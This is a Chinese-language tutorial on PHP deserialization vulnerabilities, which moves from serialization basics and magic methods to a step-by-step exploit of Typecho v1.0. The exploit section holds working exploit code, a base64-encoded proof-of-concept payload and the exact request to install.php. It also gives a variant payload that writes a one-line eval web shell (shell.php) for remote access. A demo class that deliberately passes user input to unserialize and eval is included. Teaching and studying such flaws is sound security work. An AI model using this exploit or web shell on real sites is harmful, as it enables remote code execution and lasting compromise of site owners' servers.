文章目录
- 反序列化漏洞
- 一、概述
- 1. 序列化和反序列化
- 2. 序列化的目的
- 二、PHP中的序列化与反序列化
- 1. 概述
- 2. 示例序列化与反序列化
- 3. 反序列化漏洞
- - PHP中的魔术方法
- - Typecho_v1.0中的反序列化漏洞
反序列化漏洞
一、概述
1. 序列化和反序列化
序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
也就是将数据结构或对象状态转换成可取用格式(如存成文件、存于缓冲、或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。
简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。
而从一系列字节提取数据结构的反向操作,就是是反序列化(也称为解编组、deserialization)
2. 序列化的目的
- 以某种存储形式使自定义对象持久化;
- 将对象从一个地方传递到另一个地方。
- 使程序更具维护性。
二、PHP中的序列化与反序列化
1. 概述
PHP反序列化漏洞也叫PHP对象注入,是一个常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。
漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。
反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
PHP中的序列化与反序列化,基本都是围绕serialize()和unserialize()
两个函数展开的。
2. 示例序列化与反序列化
序列化会将一个抽象的对象转换为字符串。
首先创建一个类:
<?php
class Student{
public $name;
public $sex;
public $age;
public $score;
}
?>
类名是Stuent,该类中有四个变量,将这个类实例化(创建一个对象), 将对象序列化为字符串:(当我们直接输出$stu1时会error,对象无法转换为字符串)
<?php
$stu1 = new Student();
$stu1 ->name = "tom";
$stu1 ->sex = true;
$stu1 ->age = 18;
$stu1 ->score = 89.9;
echo serialize($stu1);
?>
运行结果:
O:7:"Student":4: # Object:类名长度为7:"类名为Student":4个属性
{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
{string:属性1长度:"属性1";.....}
反序列化:
$str =<<<HTML
O:7:"Student":4:{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
HTML;
var_dump(unserialize($str));
运行结果:
object(Student)#2 (4) {
["name"]=>
string(3) "tom"
["sex"]=>
bool(true)
["age"]=>
int(18)
["score"]=>
float(89.9)
}
3. 反序列化漏洞
php反序列化漏洞也叫对象注入漏洞,当在php中创建一个对象后,可以通过serialize()函数把这个对象转化为一个字符串,便于传递和使用;之后再通过unserialize()函数可以从已经存储的表示中创建php的值,恢复对象,在恢复对象时会调用 __wakeup()
成员函数,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数,可以利用PHP中的魔术方法构造函数,魔术方法在一些特定情况下会被自动调用。
这里我们定义一个类,一个属性,一个方法,由于反序列化要使用序列化后的字符串比较麻烦,我们可以将序列化的结果用一个变量接收 $t
:
<?php
class Test{
public $str = "hello";
function __destruct(){
@eval($this -> str);
}
}
$test = new Test();
$t = serialize($test);
echo $t;
echo "<hr />";
var_dump(unserialize($t));
?>
运行结果:
那么我们是不是可以修改变量 $t
为一个更灵活的方式 $_GET[obj]
,然后可以通过 obj 赋值:
<?php
class Test{
public $str = "hello";
function __destruct(){
@eval($this -> str);
}
}
$test = new Test();
$t = $_GET['obj'];
echo $t;
echo "<hr />";
var_dump(unserialize($t));
?>
赋值并运行:
如果我们修改其中的值:
修改为phpinfo():
结果:为我们编译了phpinfo()
查找原因:该类中只有一个方法 __destruct()
,方法中有一个函数eval,所以只可能是它,但我们并没有去调用该方法,它是怎么执行的?
PHP中的析构函数(destruct),当对象结束其生命周期时,系统自动执行析构函数;它与构造函数(construct)刚好相反,构造函数是在对象创建时自动调用。
- PHP中的魔术方法
以 __
开头的方法,是PHP中的魔术方法,类中的魔术方法,在特定情况下会被自动调用。主要魔术方法如下。
__construct() 在创建对象时自动调用
__destruct() 在销毁对象时自动调用
__call() 在对象中调用一个不可访问方法时,call() 会被调用
__callStatic() 在静态上下文中调用一个不可访问方法时调用
__get() 读取不可访问属性的值时会被调用
__set() 在给不可访问属性赋值时会被调用
__isset() 当对不可访问属性调用isset() 或empty()时会被调用
__unset() 当对不可访问属性调用unset() 时会被调用
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作
__wakeup() unserialize()函数会检查是否存在一个__wakeup() 方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。
__toString( ) toString()方法用于一个类被当成字符串时应怎样回应。
__invoke() 当尝试以调用函数的方式调用一个对象时会被自动调用
__set_state() 自PHP 5.1.0起当调用var_export()导出类时,此静态方法会被调用。
__clone() 当复制完成时,如果定义了__clone() 方法,则新创建的对象(复制生成的对象)中的__clone()方法会被调用,可用于修改属性的值(如果有必要的话)。
- Typecho_v1.0中的反序列化漏洞
- 搭建网站(需要手动创建数据库)
- 我们使用exp生成反序列化后的对象(字符串),并且进行base64编码。
EXP代码:
<?php
class Typecho_Feed{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
//注入的 payload
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
生成的poc:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
- 漏洞存在
我们将poc代码赋值给__typecho_config
变量,然后通过POST方式提交到链接http://192.168.40.129/Typechov1/install.php?finish=
,并且设置Referer=http://192.168.40.129/typechov11/
成功弹出phpinfo界面。
- 注入一句话木马
$this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<?php @eval(\$_REQUEST[777])?>')";
再次生成POC,注入参数:
- 成功生成shell.php,使用中国蚁剑连接